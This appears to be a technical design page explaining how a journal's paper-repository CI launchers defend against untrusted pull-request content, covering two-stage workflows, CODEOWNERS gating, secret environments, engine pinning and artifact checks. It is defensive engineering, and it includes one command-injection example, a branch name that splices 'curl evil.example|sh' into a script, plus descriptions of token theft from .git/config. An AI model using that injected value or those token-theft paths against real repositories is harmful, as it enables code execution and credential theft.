Skip to article frontmatterSkip to article content
Site not loading correctly?

This may be due to an incorrect BASE_URL configuration. See the MyST Documentation for reference.

How a paper repository’s CI is built

Every paper repository carries a set of workflow files created by oak bootstrap on initialization, together with a composite action they all call. These files act as launchers: each one resolves an engine version, checks the engine out at it, and runs it, holding as little logic as possible. A paper moves to a newer engine by changing the version its myst.yml points to, so the launchers are identical across every paper and stay frozen once copied[1]. A change that needs new launchers is a breaking release, and oak upgrade re-copies the files (opening a PR).

The rest of the launchers’ shape comes from the need to build content you don’t trust.

Two terms recur below. A flow that needs a token runs as two workflows: Stage 1 builds the pull request’s content with no secrets, and Stage 2 acts on the result from the base branch, holding the token. A gated file is one listed in CODEOWNERS, so a change to it needs an editor’s review before it can merge.

How the launchers handle untrusted content

The files

Who can change what

Every workflow calls action.yml. The action takes the engine repository and the oldest engine version it accepts from pins.yml, installs paper-environment.yml in the build jobs, and takes the version from myst.yml, then checks out the engine at that version and runs the verb. Everything except myst.yml is inside the CODEOWNERS gate. Local oak also reads pins.yml.

The gate covers the launchers, the repository pins and the environment. myst.yml, with its plugins and the engine version, stays with the author.

The author changes the content and myst.yml, including the engine version, without an editor’s review. Tags, secrets and repository settings stay with the editors through GitHub’s own permissions.

CODEOWNERS tells GitHub who must review a change to the files it names. It only blocks a merge behind a branch rule that requires a code owner’s review, and the pull request’s workflows still run before anyone reviews it. oak bootstrap creates that rule as protect-main (code). Our CODEOWNERS names:

A paper moves to a new release when an editor runs oak upgrade with their own login. It opens one pull request that sets the version in myst.yml and replaces the launchers with the release’s own, and that pull request goes through the code-owner review like any other change under .github/.[2]

Keeping the build away from the token

Two flows start from a pull request or a push. Stage 1 builds or validates with a read-only token and passes an artifact to Stage 2, which runs from the base branch with tokens and posts the preview or the check result. Tag and dispatch workflows run once, after merge.

The arrow between stages is the only thing that crosses from the read-only side to the side with tokens, and it carries files, not code.

Building a pull request runs the author’s MyST configuration, their plugins, and whatever their execution environment installs. The useful outcomes all need write access: posting a check verdict, deploying a preview, commenting on the pull request. A pull_request run from a fork receives no secrets and a read-only token, so it cannot do any of those.

GitHub’s answer is pull_request_target, which runs with the base repository’s secrets, and checking the pull request’s code out under it is dangerous. A MyST plugin in the fork could read the token actions/checkout leaves in .git/config and send it anywhere, and that token can push to the paper repository.

So each flow that needs a token is two workflows, as the figure shows: build-paper.yml and deploy-preview.yml for the preview, check-paper.yml and post-checks.yml for the editorial checks.

protect-main requires a status check[3] named Journal checks: GitHub lets a pull request merge only once its head commit has a Check Run[4] or a commit status[5] of that name whose result is success. post-checks.yml posts a Check Run, because a Check Run shows the checks’ report on the pull request and marks the failing lines. On a pull request that a workflow opens, such as the DOI pull request from reserve-doi.yml, that Check Run alone does not let the pull request merge. GitHub creates the workflow runs on such a pull request in a waiting state, to start once someone approves them, and gives each waiting run its own check suite[6] on the pull request’s head commit. When the checks do run on that commit, for example after an editor closes and reopens the pull request, GitHub adds the Journal checks Check Run to the first check suite on the commit, which belongs to a waiting run, and protect-main ignores a Check Run there[7]. The pull request then shows Journal checks as “Expected, waiting for status to be reported”, and protect-main blocks the merge. So post-checks.yml also posts the same result as a commit status named Journal checks. A commit status belongs to no check suite, so protect-main finds it on every pull request.

Permissions are granted per job, so the job that builds author content never holds a write scope. In build-paper.yml the workflow default is contents: read, and pages: write and id-token: write sit on the push-only deploy-pages job. Granted at workflow level, they would be held by the build job too, which on a push to main runs whatever content was just merged, and a plugin in that content could deploy its own site over the paper’s.

A branch pull request goes through the same two stages. A check then behaves the same whoever opened the pull request.

Branches cannot reach the tokens at all. A repository secret is readable by every workflow on every branch, and an author with push access can push a branch carrying a workflow of their own, so oak bootstrap stores every secret in a GitHub environment instead. The Cloudflare secrets live on preview and the Zenodo tokens on zenodo-prepare, both admitting only main, and on zenodo-publish, which admits only v* tags; only editors can push one. Each job that reads a secret declares its environment, and a job on any other ref is refused before it starts. Re-running oak bootstrap with the values sets them on the environments and deletes the repository-level copies of those secrets.

Inside those jobs the paper’s code never runs. deposit-version.yml builds in a job with no secrets and hands the output to the deposit job, whose oak release deposit deposits it as it is. The action installs paper-environment.yml only when a job asks, and only the build jobs ask. And the engine runs wrangler from an empty directory, so a .npmrc or node_modules in the paper cannot choose which wrangler receives the Cloudflare token.

The Zenodo tokens are optional, since Zenodo does not check a token’s scopes (what a token allows). A journal can leave them off GitHub and have an editor deposit from the terminal. The deposit job then ends with a notice, and the build job’s artifact is what the editor’s oak release downloads, after checking that the run is the push of that tag at the tag’s commit. It only reads and uploads that build, since the paper’s code wrote it. It is also possible to build on the editor’s computer, with oak build in a shell without the token, and deposit that build with oak release deposit --use-local-build, which refuses a PDF or page older than the tag’s commit.

Two oak versions take part in oak release from the terminal. The one the editor runs does the GitHub side with the editor’s gh login (the DOI pull request, the tag, the wait) and never builds or runs the paper’s code. The one the paper pins runs the subcommands that write to Zenodo, read from the commit each works on: main for the DOI, the tag for the deposit, the same commit CI’s Deposit version reads. It merges the DOI pull request only at the commit it pushed in the same run (--match-head-commit), after posting the same skipped Journal checks status as reserve-doi.yml, so it cannot be used to merge other changes past an editor, such as a change to the engine version in myst.yml. Run locally, oak release vX does the whole publish, from the DOI to the deposit (Publishing from the terminal). The workflows run only those subcommands, so the merge and the tag stay with the editor.[8]

What Stage 2 takes from the artifact

Stage 2 runs in the base context, but everything in the artifact is under the pull request’s control: the author’s content runs in the job that writes it, and on a pull request GitHub runs the pull request’s own copy of the Stage 1 workflow file. So Stage 2 takes every value it can from its own workflow_run event, which GitHub populates. For example, post-checks.yml posts the check run on the commit in workflow_run.head_sha. A Stage 2 that took the commit from the artifact would put a green check on whichever commit the fork named.

The artifact carries the built site or the checks report, plus a file with the pull request number and one with the paper’s folder, which is . in a paper repository. The number is the one value Stage 2 cannot get from its own event, because workflow_run.pull_requests is empty when the pull request came from a fork. post-checks and deploy-preview both read it and pass it to the engine’s verifyPrHead (code) before writing anything to a pull request. verifyPrHead checks the number’s shape and who owns it:

The paper’s folder must be a folder below the repository root, and a missing file reads as .. deploy-preview deletes both files from the site before deploying.

The artifact’s files are untrusted in the same way its values are. A paper preview is static MyST output, so before deploying, the engine’s stripPagesControlFiles (code) removes the files that would let it run code or rewrite responses on the journal’s Cloudflare Pages account.[9] The strip lives in the engine, which Stage 2 checks out at the base branch’s version, because a fork could delete a strip in build-paper.yml in the same commit.

Which engine code runs

The composite action checks the engine out from two settings:

Pinning the repository and letting only the version float keeps the version inside the engine repository, and that is a weaker guarantee than it sounds. A public repository that accepts pull requests also resolves refs/pull/N/merge for any unmerged one. A contributor who opens a pull request against the engine, adding their own dist/cli.cjs, and then sets a paper’s version to that pull request’s merge ref has pointed the paper at code nobody reviewed, while the paper’s pull request looks like a one-line metadata edit. Once merged, every job on main that holds a secret would run it. The trust boundary is therefore the repository and the kind of ref together: a release tag, a raw commit or a pull request ref.

The action’s ref step limits the version to a release tag, vX.Y.Z or a dev release vX.Y.Z-dev.N, on every event, before the engine is checked out. A raw commit, a refs/pull/N/merge or a branch is refused, so a paper’s pull request naming one goes red while it is still under review, and a version on main that names one stops every job there. The rule holds on main too because myst.yml is ungated, and because GitHub serves a commit pushed to any fork of the engine under the engine repository’s own name. Engine changes are tested from a -dev.N pre-release (Releasing). The engine’s ci/run.sh also refuses to run without dist/cli.cjs, which is committed onto release tags and nothing else.

The same step refuses a version below min_engine_version in pins.yml, the oldest engine the workflows beside it work with. The workflows leave some checks to the engine, such as checking the pull request number a fork’s artifact names, and read outputs an older engine lacks. A missing output reads as empty, so an older engine skips those checks without an error. oak upgrade keeps the version at or above it too, ordering versions the same way (a dev release before its release), but the version can also change in an ordinary pull request. oak build, oak validate, oak start and oak upgrade accept the same versions as this step, from ENGINE_VERSION in schema.ts.

The check runs in the workflow because it decides which engine to fetch, so there is no engine yet to run it.

Which engine code runs locally

In CI the engine action checks out the version the paper pins, while locally an author runs whichever oak they installed, which can be several releases older or newer. A paper built with another engine can come out different or fail its checks. oak build, oak validate, oak start and the oak release subcommands read the version from myst.yml and the repository from pins.yml, as CI does, so a local run uses the engine the paper’s CI uses. When the running oak is another version, handOff (code) shallow-clones the pinned tag (git clone --depth 1 --branch) into $XDG_CACHE_HOME/oak/<owner>/<name>/<tag>, or ~/.cache/oak/..., and runs that clone’s dist/cli.cjs with the same arguments.

As in ci/run.sh, only a release tag, the commit that carries dist/cli.cjs, runs. The clone’s bin/typst goes on PATH when it runs on the machine. oak clones into a temporary folder next to the cache folder and renames it into place once the clone has finished, so an interrupted download leaves nothing behind that a later run would use.

For each subcommand, oak release vX builds its command line, such as oak release deposit --tag vX --paper <clone>, and runs it the same way: with the pinned oak, or with itself when the pinned version is the same as the running one. The command line is what an older or newer oak shares with the running one. When the running oak is the pinned version but not a git checkout, such as an npm install, the subcommands still fetch the pinned version, because the deposit’s engine.zip is a git archive of the engine.

The oak release subcommands refuse a pinned version older than DEPOSIT_MIN_VERSION in pinned.ts, and oak release refuses it before it creates the tag. Older versions of oak release built the paper, and so ran its plugins, in a process that had the Zenodo token in its environment. The version sits in myst.yml, which authors change without an editor’s review, so refusing those versions keeps a pull request that lowers it from running the paper’s plugins beside the editor’s token at the next deposit.

oak bootstrap --engine-version naming another version also runs that version, cloned from --engine-repo, so a new repo’s files come from the version it pins.

Before any git call, oak checks that the repository is owner/name written with the characters GitHub allows in names, and that the version is vX.Y.Z or vX.Y.Z-dev.N; both become part of the cache path. An engine_repo other than oak’s own is fetched only after the person running oak confirms it, even with --yes, and never without a terminal, because running the clone runs that repository’s code with their access. A change to pins.yml needs an editor’s review before it reaches main, but a pull request’s branch checked out locally carries whatever its author wrote there.

OAK_USE_RUNNING=1 makes oak run itself and never fetch the pinned version. Testing an engine change against a paper needs it: a checkout of the engine reports its package.json version with -unreleased+<commit> added, which matches no pin. ci/run.sh sets it, because the engine action has already checked out the pinned version, and oak sets it when it runs a fetched version, so that one runs itself. Child processes inherit it, so it reaches every oak started from there.

Known gaps

Rules for changing the launchers

Values that reach a script

A workflow passes a value to a run: script through env:, not by splicing ${{ }} into the script body. The runner substitutes a spliced expression as text before bash parses the line, so a fork could name its branch x";curl evil.example|sh;" and get ${{ github.head_ref }} spliced into a script. The composite action’s dispatch step needs its arguments to word-split, and does that with set -f so a * in an argument stays a *. The test every value a script reads arrives through env:, so none can be spliced in test/workflow-guards.test.ts fails on any engine-managed run: containing ${{.

Any value written to $GITHUB_OUTPUT is checked before writing. The file is line-oriented, so a value containing a newline appends a second name=value pair of the writer’s choosing to the step’s outputs. The engine version can carry fork-controlled text: the action’s ref step reads it out of the paper’s own myst.yml, where a YAML block scalar can span two lines, and refuses anything that is not a release tag. So can the verb’s result: ci/run.sh writes it as one result= line of JSON, with any line break removed, and the workflows read it with fromJSON.

Bad input fails with a clear error

When the engine repository in pins.yml or the version in myst.yml is missing, the ref and pins steps stop with an error naming the file and the key. yq prints the literal null for a missing key, so both steps test for it.

Stage 2 rejects malformed input with a clear error. A report that is not JSON, or JSON without the checkRun.conclusion field, makes post-checks exit 1 (code) naming the file and what is wrong with it. An absent pr-number file means a push build and is not an error, and an absent paper file means .. A present and malformed one is a corrupt or hostile artifact, so Stage 2 fails.

oak validate --report (code) exits 0 whenever it wrote a report, a failing one included, because post-checks.yml runs only after a successful Stage 1. It exits non-zero only when no report was written.

The artifact between two launcher versions

The artifact is an interface between two versions of the launchers. Stage 1 runs from the pull request’s head and Stage 2 from the base, so on the pull request that installs new launchers, the new Stage 1 meets the old Stage 2. Adding a field is safe. Removing one breaks every repository still running the previous Stage 2, on the same pull request that would have updated it, and an editor looking at a red required check reasonably declines to merge. So a field is removed in two releases: first a Stage 2 that no longer reads it, then a Stage 1 that no longer writes it.

A launcher change that needs a verb or an output an older engine lacks raises min_engine_version in pins.yml to the release that adds it, so the ref step refuses an engine that would skip it.

Concurrency keys

Runs are grouped so a new push supersedes an in-flight run for the same pull request, and the group key includes the head repository as well as the branch, in build-paper.yml and check-paper.yml. Two forks both working on a branch called main would otherwise share a group and cancel each other. A cancelled Stage 1 uploads no artifact, so Stage 2 never fires, and the required check never arrives, so the pull request cannot merge until someone pushes again.

Both stages key on the head repository, and the pull request group in each Stage 1 workflow is distinct from its push-to-main group. A fork opening a pull request from a branch called main would otherwise land in the same group as the repository’s own main and cancel an in-flight Pages deploy. The Stage 2 keys are in deploy-preview.yml and post-checks.yml.

Testing for a secret

A workflow reads a secret into env: and tests it in run:[10]. A secrets reference in a step’s if: makes GitHub reject the whole workflow file. For a file that only runs on workflow_dispatch, such as reserve-doi.yml, the rejection shows only when someone runs it. The test no `if:` reads the secrets context in test/workflow-guards.test.ts fails on any if: in the paper template’s workflows that reads secrets.

How the launchers are tested

stepScript (code) in test/workflow-guards.test.ts pulls a step’s run: script out of the YAML and executes it as bash. A test that only asserted which files oak bootstrap stamps into a repository would pass with every guard on this page deleted, and these files run in every paper repository with the tokens described above.

Each guard has a test that fails when the guard is removed, for example refuses an unmerged oak pull request, a raw commit or a branch, on any event in test/workflow-guards.test.ts for the ref step, and refuses a real pull request whose head is another commit in test/artifact.test.ts for verifyPrHead. A guard written against a specific attack is tested with that attack’s input.

stepScript runs a script in bash on the machine running the tests. On a runner, GitHub resolves ${{ }} before the step starts, $GITHUB_OUTPUT is a file, and the shell is set up differently. So these tests check the scripts’ logic, and the tests that read the workflow files check their ${{ }} expressions. The live conformance run then runs the workflows on a real runner.

Footnotes
  1. A fix ships once, in the engine, and reaches every paper without an edit to its workflows.

  2. A scheduled workflow could change only the version: it runs with its own GITHUB_TOKEN, and GitHub only accepts a change under .github/workflows/ from a token with the workflows permission, which is not among the permissions a GITHUB_TOKEN can have. That version works only while the new engine still runs with the paper’s launchers, and nothing records which launchers a paper has, so nothing can check it; when it fails, the author is left with a red pull request that only an editor can fix. A paper needs the engine for the few weeks of its review, and a fix that matters in that time usually changes both the engine and the launchers.

  3. A required status check is a condition in a branch rule: GitHub blocks a merge into the branch until the pull request’s head commit has a passing result with the name the rule gives. protectMainBody (code) names Journal checks and no app that must post it, so GitHub accepts a result of that name from any source.

  4. A Check Run is a result that a GitHub App, such as GitHub Actions, posts on a commit. Besides a pass or fail conclusion, it contains a report, which GitHub shows in the pull request’s Checks tab, and annotations, which GitHub shows next to the lines they name in the pull request’s changed files.

  5. A commit status is a result posted on a commit: a name, a state such as success or failure, a one-line description and an optional link. Anyone with write access to the repository can post one.

  6. A check suite groups the Check Runs that one GitHub App posts on one commit. GitHub Actions creates one check suite per workflow run, and each job of the run appears in it as a Check Run.

  7. This is how GitHub behaved on the DOI pull request when the commit status was added (#47). GitHub’s documentation does not describe it.

  8. Two reasons the tag comes from the editor:

    • The tag is the editor’s approval. zenodo-publish admits only v* tags, and only editors can push one. A tag created by a workflow would let the workflow’s token decide when a run publishes.

    • A tag pushed by a workflow starts nothing. GitHub starts no workflow for a tag pushed with a workflow’s GITHUB_TOKEN, so Deposit version would need a stronger token.

  9. The strip removes _worker.js, functions/, _routes.json, _redirects, _headers and _middleware.js from the deploy root. A _worker.js or functions/ controls every response on the preview’s URL, the page editors open to review the paper. And since pages.dev is on the Public Suffix List, every preview of a project shares <project>.pages.dev, so one preview can set cookies that all the others receive.

  10. The secrets context does not exist in a step-level if:.